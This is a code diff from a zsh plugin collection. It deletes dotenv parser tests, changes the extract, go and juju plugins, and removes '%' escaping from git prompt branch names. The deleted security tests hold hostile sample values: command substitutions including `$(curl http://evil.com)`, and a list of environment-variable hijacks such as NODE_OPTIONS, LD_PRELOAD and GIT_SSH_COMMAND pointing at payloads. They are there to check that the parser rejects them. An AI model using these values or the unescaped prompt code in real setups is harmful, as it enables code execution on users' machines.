multiline value that should be treated as a single line with an actual newline character"
MULTILINE_SINGLE_QUOTED='This is a \
multiline value that should be treated as a single line with a literal backslash and newline'
MULTILINE_MIXED_QUOTES="This is a \
multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
# Test for regressions
DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
VAR_WITH_SEMICOLONS="value ; with ; semicolons"

View File

@@ -1,398 +0,0 @@
#!/usr/bin/env zunit
@setup {
typeset -g fixture="$(_create_temp_fixture)"
typeset -gA expected_vars=()
}
@teardown {
[[ -f "$fixture" ]] && command rm -f "$fixture"
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@test 'dotenv plugin loads successfully' {
assert "parse_dotenv" function_exists
assert "source_env" function_exists
}
@test 'parse returns error for unsupported mode' {
run _parse_dotenv_quiet "/dev/null" "export"
assert $state equals 0
run _parse_dotenv_quiet "/dev/null" "test"
assert $state equals 0
run _parse_dotenv_quiet "/dev/null" "invalid_mode"
assert $state equals 1
}
@test 'parse returns error for oversized file (> 10MiB)' {
command truncate -s 11M "$fixture" 2>/dev/null
run _parse_dotenv_quiet "$fixture" "test"
assert $state equals 1
}
@test 'parse returns error for non-existent file' {
run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
assert $state equals 1
}
@test 'source_env loads named pipes without blocking' {
local tmpdir fifo output result
local child_pid writer_pid killer_pid child_rc
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
fifo="$tmpdir/.env"
output="$tmpdir/output"
command mkfifo "$fifo"
(
print -r -- 'TOKEN=secret' > "$fifo"
) &
writer_pid=$!
(
ZSH_DOTENV_PROMPT=false
ZSH_DOTENV_FILE="$fifo"
source_env
print -r -- "${TOKEN-<unset>}" > "$output"
) &
child_pid=$!
(
sleep 2
kill -0 $child_pid 2>/dev/null || exit 0
kill $child_pid 2>/dev/null || exit 0
) &
killer_pid=$!
wait $child_pid
child_rc=$?
kill $killer_pid 2>/dev/null || true
kill $writer_pid 2>/dev/null || true
wait $writer_pid 2>/dev/null || true
[[ -f "$output" ]] && result="$(<"$output")"
command rm -rf "$tmpdir"
assert $child_rc equals 0
assert "$result" equals 'secret'
}
@test 'source_env rejects oversized named pipes' {
run zsh -fc '
source ./dotenv.plugin.zsh
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
fifo="$tmpdir/.env"
command mkfifo "$fifo" || exit 1
cleanup() {
kill $killer_pid 2>/dev/null || true
kill $writer_pid 2>/dev/null || true
wait $writer_pid 2>/dev/null || true
command rm -rf "$tmpdir"
}
trap cleanup EXIT
(
{
print -rn -- "BIG="
command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
} > "$fifo"
) &
writer_pid=$!
(
sleep 2
kill -0 $$ 2>/dev/null || exit 0
kill $$ 2>/dev/null || exit 0
) &
killer_pid=$!
ZSH_DOTENV_PROMPT=false
ZSH_DOTENV_FILE="$fifo"
source_env >/dev/null 2>&1
'
assert $state equals 1
}
@test 'parse basic variable assignment' {
> "$fixture" <<'EOF'
# Basic assignments
BASIC=basic
# previous line intentionally left blank
AFTER_LINE=after_line
EOF
expected_vars=(
BASIC 'basic'
AFTER_LINE 'after_line'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse empty values' {
> "$fixture" <<'EOF'
# Empty values
EMPTY=
EMPTY_SINGLE_QUOTES=''
EMPTY_DOUBLE_QUOTES=""
EOF
expected_vars=(
EMPTY ''
EMPTY_SINGLE_QUOTES ''
EMPTY_DOUBLE_QUOTES ''
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse single quoted values' {
> "$fixture" <<'EOF'
# Single quotes (literal, no expansion)
SINGLE_QUOTES='single_quotes'
SINGLE_QUOTES_SPACED=' single quotes '
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
EOF
expected_vars=(
SINGLE_QUOTES 'single_quotes'
SINGLE_QUOTES_SPACED ' single quotes '
DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse double quoted values' {
> "$fixture" <<'EOF'
# Double quotes (with escapes)
DOUBLE_QUOTES="double_quotes"
DOUBLE_QUOTES_SPACED=" double quotes "
EXPAND_NEWLINES="expand\nnew\nlines"
EOF
expected_vars=(
DOUBLE_QUOTES 'double_quotes'
DOUBLE_QUOTES_SPACED ' double quotes '
EXPAND_NEWLINES "expand\nnew\nlines"
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse unquoted values' {
> "$fixture" <<'EOF'
# Unquoted (no escape expansion)
DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
EOF
expected_vars=(
DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse quotes inside quotes' {
> "$fixture" <<'EOF'
# Quotes inside quotes
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
EOF
expected_vars=(
DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse inline comments' {
> "$fixture" <<'EOF'
# Comments
# COMMENTS=work
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
INLINE_COMMENTS_UNQUOTED=value # work
EOF
expected_vars=(
INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
INLINE_COMMENTS_UNQUOTED 'value'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse ignores non-assignment commands with assignment-looking arguments' {
> "$fixture" <<'EOF'
print SHOULD_NOT_PARSE=value
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse special characters' {
> "$fixture" <<'EOF'
# Special characters
EQUAL_SIGNS=equals==
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
USEREMAIL=therealnerdybeast@example.tld
EOF
expected_vars=(
EQUAL_SIGNS 'equals=='
RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
USEREMAIL 'therealnerdybeast@example.tld'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse multiline values with mixed quotes' {
> "$fixture" <<'EOF'
# Multiline values with double quotes
MULTI_DOUBLE_QUOTED="THIS
IS
A
MULTILINE
STRING"
# Multiline values with single quotes
MULTI_SINGLE_QUOTED='THIS
IS
A
MULTILINE
STRING'
# Multiline PEM certificate
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
u4QuUoobAgMBAAE=
-----END PUBLIC KEY-----"
EOF
expected_vars=(
MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse export syntax' {
> "$fixture" <<'EOF'
# Exported variables
export EXPORTED_VAR=exported_value
export EXPORTED_EMPTY=
EOF
expected_vars=(
EXPORTED_VAR 'exported_value'
EXPORTED_EMPTY ''
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse in-file variable expansion' {
> "$fixture" <<'EOF'
# Variable expansion (in-file forward references)
BASE_URL=https://api.example.com
API_ENDPOINT="${BASE_URL}/v1"
FULL_ENDPOINT=$BASE_URL/v2/users
COMBINED="${BASE_URL}_suffix"
EOF
expected_vars=(
BASE_URL 'https://api.example.com'
API_ENDPOINT 'https://api.example.com/v1'
FULL_ENDPOINT 'https://api.example.com/v2/users'
COMBINED 'https://api.example.com_suffix'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse in-file variable expansion prefers the longest matching variable name' {
> "$fixture" <<'EOF'
A=1
ABC=2
X=$ABC
Y=${ABC}
Z=$ABCD
EOF
expected_vars=(
A '1'
ABC '2'
X '2'
Y '2'
Z ''
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'parse preserves escaped dollar signs before variable expansion' {
> "$fixture" <<'EOF'
BAR=expanded
ESCAPED_UNQUOTED=foo\$BAR
ESCAPED_DOUBLE="foo\$BAR"
ESCAPED_BRACED="\${BAR}"
EOF
expected_vars=(
BAR 'expanded'
ESCAPED_UNQUOTED 'foo$BAR'
ESCAPED_DOUBLE 'foo$BAR'
ESCAPED_BRACED '${BAR}'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

View File

@@ -1,27 +0,0 @@
#!/usr/bin/env zunit
@setup {
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@teardown {
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@test 'compatibility: dotenvjs fixture matches native source' {
local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
_parse_dotenv_test "$fixture"
_source_with_allexport "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
}
@test 'compatibility: features fixture matches native source' {
local fixture="${testdir:A}/_support/fixtures/features.env"
_parse_dotenv_test "$fixture"
_source_with_allexport "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
}

View File

@@ -1,209 +0,0 @@
#!/usr/bin/env zunit
@setup {
typeset -g fixture="$(_create_temp_fixture)"
typeset -gA expected_vars=()
}
@teardown {
[[ -f "$fixture" ]] && command rm -f "$fixture"
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@test 'skip dangerous backtick command substitution' {
> "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_BACKTICK=`whoami`
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip dangerous subshell command substitution' {
> "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_SUBSHELL=$(date)
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip nested command substitution in double quotes' {
> "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip multiple words (potential command execution)' {
> "$fixture" <<'EOF'
# Should be skipped - multiple words could execute commands
BASE_URL=/ echo command run
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'allow literal command substitution in single quotes' {
> "$fixture" <<'EOF'
# Single quotes make everything literal - should be parsed
SAFE_SINGLE_QUOTED='$(this is literal)'
SAFE_BACKTICK='`also literal`'
# Should also be parsed
SAFE_VAR=safe_value
EOF
expected_vars=(
SAFE_SINGLE_QUOTED '$(this is literal)'
SAFE_BACKTICK '`also literal`'
SAFE_VAR 'safe_value'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip backticks in unquoted values' {
> "$fixture" <<'EOF'
# Backticks in unquoted context - should be skipped
DANGEROUS_UNQUOTED=`echo danger`
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip dollar-paren in unquoted values' {
> "$fixture" <<'EOF'
# Command substitution in unquoted context - should be skipped
DANGEROUS_UNQUOTED=$(uname -a)
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
> "$fixture" <<'EOF'
# Dollar signs that don't start command substitution
SAFE_DOLLARS='$HOME is literal'
SAFE_PRICE='Cost is $50'
SAFE_VAR='value$123'
# Should all be parsed
SAFE_VAR2=safe_value
EOF
expected_vars=(
SAFE_DOLLARS '$HOME is literal'
SAFE_PRICE 'Cost is $50'
SAFE_VAR 'value$123'
SAFE_VAR2 'safe_value'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'skip quoted command substitution' {
> "$fixture" <<'EOF'
HARMLESS_COMMAND="\$(echo)"
ANOTHER_ONE=$'\x24\x28echo\x29'
EOF
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'comprehensive security test with mixed safe and dangerous patterns' {
> "$fixture" <<'EOF'
# These should be SKIPPED (dangerous)
DANGEROUS_BACKTICK=`whoami`
DANGEROUS_SUBSHELL=$(date)
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
LOOKS_SAFE=$(curl http://evil.com)
BASE_URL=/ echo command run
# These should WORK (safe)
SAFE_BEFORE=safe_value_1
SAFE_AFTER=safe_value_2
SAFE_SINGLE_QUOTED='$(this is literal)'
SAFE_SINGLE_QUOTED2='`also literal`'
SAFE_DOLLARS='$HOME'
SAFE_PRICE="$50"
EOF
expected_vars=(
SAFE_BEFORE 'safe_value_1'
SAFE_AFTER 'safe_value_2'
SAFE_SINGLE_QUOTED '$(this is literal)'
SAFE_SINGLE_QUOTED2 '`also literal`'
SAFE_DOLLARS '$HOME'
SAFE_PRICE '$50'
)
_parse_dotenv_test "$fixture"
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
@test 'blocks changes of special environment variables' {
_parse_dotenv_test =(<<'EOF'
# Executes on the next node/npm/npx invocation
NODE_OPTIONS=--require=./payload.js
# Used for shell initialization
BASH_ENV=./payload.sh
# Used for shell initialization in zsh, but also respected by some tools like git
# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
ENV=./payload.sh
# Used for zsh startup
ZDOTDIR=./.malicious_zsh
ZSH=./.malicious_zsh
# These are used for native code injection
LD_PRELOAD=./payload.so
LD_LIBRARY_PATH=./malicious_libs
DYLD_INSERT_LIBRARIES=./payload.dylib
# Git environment variables
GIT_CONFIG_GLOBAL=./.gitconfig-malicious
GIT_DIR=./malicious_git_dir
GIT_EDITOR=./malicious_editor
GIT_EXTERNAL_DIFF=./malicious_diff
GIT_EXEC_PATH=./.malicious_git_exec
GIT_PAGER=./malicious_pager
GIT_SSH=./malicious_ssh
GIT_SSH_COMMAND=./malicious_ssh_command
GIT_SSL_NO_VERIFY=true
GIT_TEMPLATE_DIR=./malicious_templates # for persistence
# Special exported variables
PATH=./malicious_bin:$PATH
EDITOR=./malicious
VISUAL=./malicious
PAGER=./malicious
EOF
)
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

View File

@@ -53,6 +53,5 @@ local -a exts=(
_arguments \ _arguments \
'(-r --remove)'{-r,--remove}'[Remove archive.]' \ '(-r --remove)'{-r,--remove}'[Remove archive.]' \
'(-t --to-directory)'{-t,--to-directory}'[Extract to a specific directory.]' \
"*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \ "*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \
&& return 0 && return 0

47
plugins/extract/extract.plugin.zsh Executable file → Normal file
View File

@@ -9,41 +9,14 @@ Usage: extract [-option] [file ...]
Options: Options:
-r, --remove Remove archive after unpacking. -r, --remove Remove archive after unpacking.
-t, --to-directory <dir> Extract to a specific directory instead of the current one.
EOF EOF
fi fi
local remove_archive=1 local remove_archive=1
local target_directory="" if [[ "$1" == "-r" ]] || [[ "$1" == "--remove" ]]; then
remove_archive=0
while (( $# > 0 )); do shift
case "$1" in fi
-r|--remove)
remove_archive=0
shift
;;
-t|--to-directory)
shift
if (( $# == 0 )); then
echo "extract: -t/--to-directory requires a directory argument" >&2
return 1
fi
target_directory="$1"
shift
if [[ ! -d "$target_directory" ]]; then
echo "extract: '$target_directory' is not a valid directory" >&2
return 1
fi
target_directory="${target_directory%/}"
;;
*)
break
;;
esac
done
local pwd="$PWD" local pwd="$PWD"
while (( $# > 0 )); do while (( $# > 0 )); do
@@ -62,10 +35,6 @@ EOF
extract_dir="${extract_dir:r}" extract_dir="${extract_dir:r}"
fi fi
if [[ -n "$target_directory" ]]; then
extract_dir="$target_directory/${extract_dir:t}"
fi
# If there's a file or directory with the same name as the archive # If there's a file or directory with the same name as the archive
# add a random string to the end of the extract directory # add a random string to the end of the extract directory
if [[ -e "$extract_dir" ]]; then if [[ -e "$extract_dir" ]]; then
@@ -157,7 +126,7 @@ EOF
# 1. Move and rename the extracted file/folder to a temporary random name # 1. Move and rename the extracted file/folder to a temporary random name
# 2. Delete the empty folder # 2. Delete the empty folder
# 3. Rename the extracted file/folder to the original name # 3. Rename the extracted file/folder to the original name
if [[ "${content[1]:t}" == "${extract_dir:t}" ]]; then if [[ "${content[1]:t}" == "$extract_dir" ]]; then
# =(:) gives /tmp/zsh<random>, with :t it gives zsh<random> # =(:) gives /tmp/zsh<random>, with :t it gives zsh<random>
local tmp_name==(:); tmp_name="${tmp_name:t}" local tmp_name==(:); tmp_name="${tmp_name:t}"
command mv "${content[1]}" "$tmp_name" \ command mv "${content[1]}" "$tmp_name" \
@@ -165,9 +134,9 @@ EOF
&& command mv "$tmp_name" "$extract_dir" && command mv "$tmp_name" "$extract_dir"
# Otherwise, if the extracted folder name already exists in the current # Otherwise, if the extracted folder name already exists in the current
# directory (because of a previous file / folder), keep the extract_dir # directory (because of a previous file / folder), keep the extract_dir
elif [[ ! -e "${target_directory:-.}/${content[1]:t}" ]]; then elif [[ ! -e "${content[1]:t}" ]]; then
command mv -- "${content[1]}" "${target_directory:-.}/" \ command mv "${content[1]}" . \
&& command rmdir -- "$extract_dir" && command rmdir "$extract_dir"
fi fi
elif [[ ${#content} -eq 0 ]]; then elif [[ ${#content} -eq 0 ]]; then
command rmdir "$extract_dir" command rmdir "$extract_dir"

View File

@@ -235,7 +235,7 @@ __git_ps1_show_upstream ()
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
upstream="$upstream \${__git_ps1_upstream_name}" upstream="$upstream \${__git_ps1_upstream_name}"
else else
upstream="$upstream ${__git_ps1_upstream_name//\%/%%}" upstream="$upstream ${__git_ps1_upstream_name}"
# not needed anymore; keep user's # not needed anymore; keep user's
# environment clean # environment clean
unset __git_ps1_upstream_name unset __git_ps1_upstream_name
@@ -570,9 +570,6 @@ __git_ps1 ()
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
__git_ps1_branch_name=$b __git_ps1_branch_name=$b
b="\${__git_ps1_branch_name}" b="\${__git_ps1_branch_name}"
else
# escape % in branch name to avoid prompt expansion issues
b="${b//\%/%%}"
fi fi
if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then

View File

@@ -15,52 +15,6 @@ __go_identifiers() {
compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null) compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null)
} }
__go_tool_commands() {
local -a tools tool_commands
local -A command_seen short_count
local tool command
tools=("${(@f)$(go tool 2>/dev/null)}")
# Go 1.24+ lists module tools by package path, but also accepts unique
# default binary names for those tools.
for tool in "${tools[@]}"; do
[[ -n $tool ]] || continue
(( command_seen[$tool]++ ))
if [[ $tool == */* ]]; then
command=${tool:t}
if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
command=${${tool%/$command}:t}
fi
(( short_count[$command]++ ))
fi
done
for tool in "${tools[@]}"; do
[[ -n $tool ]] || continue
tool_commands+=("$tool")
if [[ $tool == */* ]]; then
command=${tool:t}
if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
command=${${tool%/$command}:t}
fi
if (( short_count[$command] == 1 && ! command_seen[$command] )); then
tool_commands+=("$command")
fi
fi
done
_values "go tool" "${tool_commands[@]}"
}
_go() { _go() {
typeset -a commands build_flags typeset -a commands build_flags
commands+=( commands+=(
@@ -254,7 +208,7 @@ _go() {
;; ;;
tool) tool)
if (( CURRENT == 3 )); then if (( CURRENT == 3 )); then
__go_tool_commands _values "go tool" $(go tool)
return return
fi fi
case ${words[3]} in case ${words[3]} in

View File

@@ -1,231 +0,0 @@
#compdef juju
(( $+functions[compdef] )) && compdef _juju juju
# zsh completion for juju -*- shell-script -*-
__juju_debug()
{
local file="$BASH_COMP_DEBUG_FILE"
if [[ -n ${file} ]]; then
echo "$*" >> "${file}"
fi
}
__juju_help_options()
{
local out line token cleaned desc f
local -a opts pending
typeset -U opts
__juju_debug "[options] called with args: $*"
out=$(command juju help "$@" 2>/dev/null)
local rc=$?
__juju_debug "[options] juju help exit code: $rc, output length: ${#out}"
(( rc )) && return 1
while IFS= read -r line; do
if [[ "$line" =~ '^[[:space:]]{0,3}-' ]]; then
for f in "${pending[@]}"; do opts+=("$f"); done
pending=()
for token in ${(z)line}; do
cleaned="${token%%,*}"
cleaned="${cleaned%%;*}"
cleaned="${cleaned%%]*}"
cleaned="${cleaned%%)*}"
cleaned="${cleaned%%=<*}"
cleaned="${cleaned%%=*}"
cleaned="${cleaned%%<*}"
cleaned="${cleaned%%\[*}"
cleaned="${cleaned%%\(*}"
[[ "$cleaned" == --* || "$cleaned" == -[[:alnum:]] ]] || continue
[[ "$cleaned" == "-" || "$cleaned" == "--" ]] && continue
__juju_debug "[options] found flag: $cleaned"
pending+=("$cleaned")
done
elif (( ${#pending} )) && [[ -n "$line" ]]; then
desc="${line#"${line%%[![:space:]]*}"}"
desc="${desc//:/\\:}"
__juju_debug "[options] desc for ${pending[*]}: $desc"
for f in "${pending[@]}"; do opts+=("${f}:${desc}"); done
pending=()
elif [[ -z "$line" ]]; then
for f in "${pending[@]}"; do opts+=("$f"); done
pending=()
fi
done < <(printf "%s\n" "$out")
for f in "${pending[@]}"; do opts+=("$f"); done
__juju_debug "[options] total opts: ${#opts}, first few: ${opts[1]} ${opts[2]} ${opts[3]}"
printf "%s\n" "${opts[@]}"
}
__juju_help_commands()
{
local line cmd desc out
out=$(command juju help commands 2>/dev/null) || return 1
while IFS= read -r line; do
# Strip leading whitespace
line="${line#"${line%%[![:space:]]*}"}"
# Only process lines starting with an alphanumeric (command names)
[[ "$line" =~ '^[[:alnum:]]' ]] || continue
# Split on the first run of 2+ spaces: left = cmd, right = description
cmd="${line%% *}"
# Validate it's a clean command token (no spaces, only alnum and dash)
[[ "$cmd" =~ '^[[:alnum:]][[:alnum:]-]*$' ]] || continue
desc="${line#"$cmd"}"
desc="${desc#"${desc%%[![:space:]]*}"}"
if [[ -n "$desc" ]]; then
printf "%s:%s\n" "$cmd" "$desc"
else
printf "%s\n" "$cmd"
fi
done <<< "$out"
}
__juju_models()
{
# Optional argument: controller name. If given, fetch models for that controller.
if [[ -n "$1" ]]; then
command juju models -c "$1" --format=json 2>/dev/null \
| command jq -r '.models[]."short-name"' 2>/dev/null
else
command juju models --format=json 2>/dev/null \
| command jq -r '.models[]."short-name"' 2>/dev/null
fi
}
# Complete a model token that may be prefixed with "controller:" — if a colon is
# present, fetch models for that controller and offer "ctrl:model" completions.
__juju_complete_model()
{
local current="$1"
local -a completions
__juju_debug "[complete_model] current='${current}'"
if [[ "$current" == *:* ]]; then
local ctrl="${current%%:*}"
local models
models=("${(@f)$(__juju_models "$ctrl")}")
completions=("${models[@]/#/${ctrl}:}")
__juju_debug "[complete_model] ctrl=${ctrl} completions=${#completions}: ${completions[*]}"
compadd -S '' -q -- "${completions[@]}"
else
local -a models ctrls
models=("${(@f)$(__juju_models)}")
ctrls=("${(@f)$(__juju_controllers)}")
__juju_debug "[complete_model] models=${#models}: ${models[*]}"
__juju_debug "[complete_model] ctrls=${#ctrls}: ${ctrls[*]}"
__juju_debug "[complete_model] calling _alternative"
_alternative \
'models:models:{__juju_debug "[complete_model] compadd models"; compadd "$expl[@]" -a models}' \
'controllers:controllers:{__juju_debug "[complete_model] compadd ctrls"; compadd "$expl[@]" -S : -q -a ctrls}'
__juju_debug "[complete_model] _alternative returned $?"
fi
}
# Commands whose first positional argument is a model name.
_juju_model_commands=(
destroy-model
grant-model
revoke-model
switch
)
# Flags that take a model name as their value.
_juju_model_flags=(
-m
--model
)
__juju_controllers()
{
command juju controllers --format=json 2>/dev/null \
| command jq -r '.controllers | keys | .[]' 2>/dev/null
}
# Commands whose first positional argument is a controller name.
_juju_controller_commands=(
destroy-controller
kill-controller
login
logout
unregister
)
# Flags that take a controller name as their value.
_juju_controller_flags=(
-c
--controller
)
_juju()
{
__juju_debug "[_juju] curcontext: ${curcontext}"
local -a completions
__juju_debug "[_juju] words: ${words[*]}, CURRENT: $CURRENT"
# Find the subcommand: first non-flag word typed after "juju", excluding the
# word currently being completed (words[CURRENT]).
local subcmd=""
local i
for (( i = 2; i < CURRENT; i++ )); do
if [[ "${words[i]}" != -* ]]; then
subcmd="${words[i]}"
break
fi
done
local current="${words[CURRENT]}"
local prev="${words[CURRENT-1]}"
__juju_debug "[_juju] subcmd: '${subcmd}', current: '${current}', prev: '${prev}'"
# Controller name completion: flag value (e.g. juju status -c <TAB>)
if (( ${_juju_controller_flags[(I)$prev]} )); then
completions=("${(@f)$(__juju_controllers)}")
__juju_debug "[_juju] controller flag completions: ${#completions}"
(( ${#completions} )) && _describe "controller" completions && return 0
return 1
fi
# Model name completion: flag value (e.g. juju status -m <TAB> or -m ctrl:<TAB>)
if (( ${_juju_model_flags[(I)$prev]} )); then
__juju_debug "[_juju] model flag completion, current: '${current}'"
__juju_complete_model "$current" && return 0
return 1
fi
if [[ -z "$subcmd" ]]; then
# No subcommand yet — complete subcommand names.
completions=("${(@f)$(__juju_help_commands)}")
__juju_debug "[_juju] command completions count: ${#completions}"
(( ${#completions} )) && _describe "command" completions && return 0
return 1
fi
# Controller name completion: positional arg (e.g. juju destroy-controller <TAB>)
if (( ${_juju_controller_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then
completions=("${(@f)$(__juju_controllers)}")
__juju_debug "[_juju] controller command completions: ${#completions}"
(( ${#completions} )) && _describe "controller" completions && return 0
return 1
fi
# Model name completion: positional arg (e.g. juju destroy-model <TAB> or ctrl:<TAB>)
if (( ${_juju_model_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then
__juju_debug "[_juju] model command completion, current: '${current}'"
__juju_complete_model "$current" && return 0
return 1
fi
# Flag completion for all other subcommands (also shown without leading dash)
completions=("${(@f)$(__juju_help_options "$subcmd")}")
__juju_debug "[_juju] option completions count: ${#completions}"
(( ${#completions} )) && _describe "option" completions && return 0
return 1
}

View File

@@ -1,5 +1,17 @@
# ---------------------------------------------------------- # # ---------------------------------------------------------- #
# Aliases and functions for juju (https://juju.is) # # Aliases and functions for juju (https://juju.is) #
# ---------------------------------------------------------- #
# Load TAB completions
# You need juju's bash completion script installed. By default bash-completion's
# location will be used (i.e. pkg-config --variable=completionsdir bash-completion).
completion_file="$(pkg-config --variable=completionsdir bash-completion 2>/dev/null)/juju" || \
completion_file="/usr/share/bash-completion/completions/juju"
[[ -f "$completion_file" ]] && source "$completion_file"
unset completion_file
# ---------------------------------------------------------- #
# Aliases (in alphabetic order) #
# # # #
# Generally, # # Generally, #
# - `!` means --force --no-wait -y # # - `!` means --force --no-wait -y #
@@ -120,7 +132,6 @@ jclean() {
fi fi
echo echo
local controller
for controller in ${=controllers}; do for controller in ${=controllers}; do
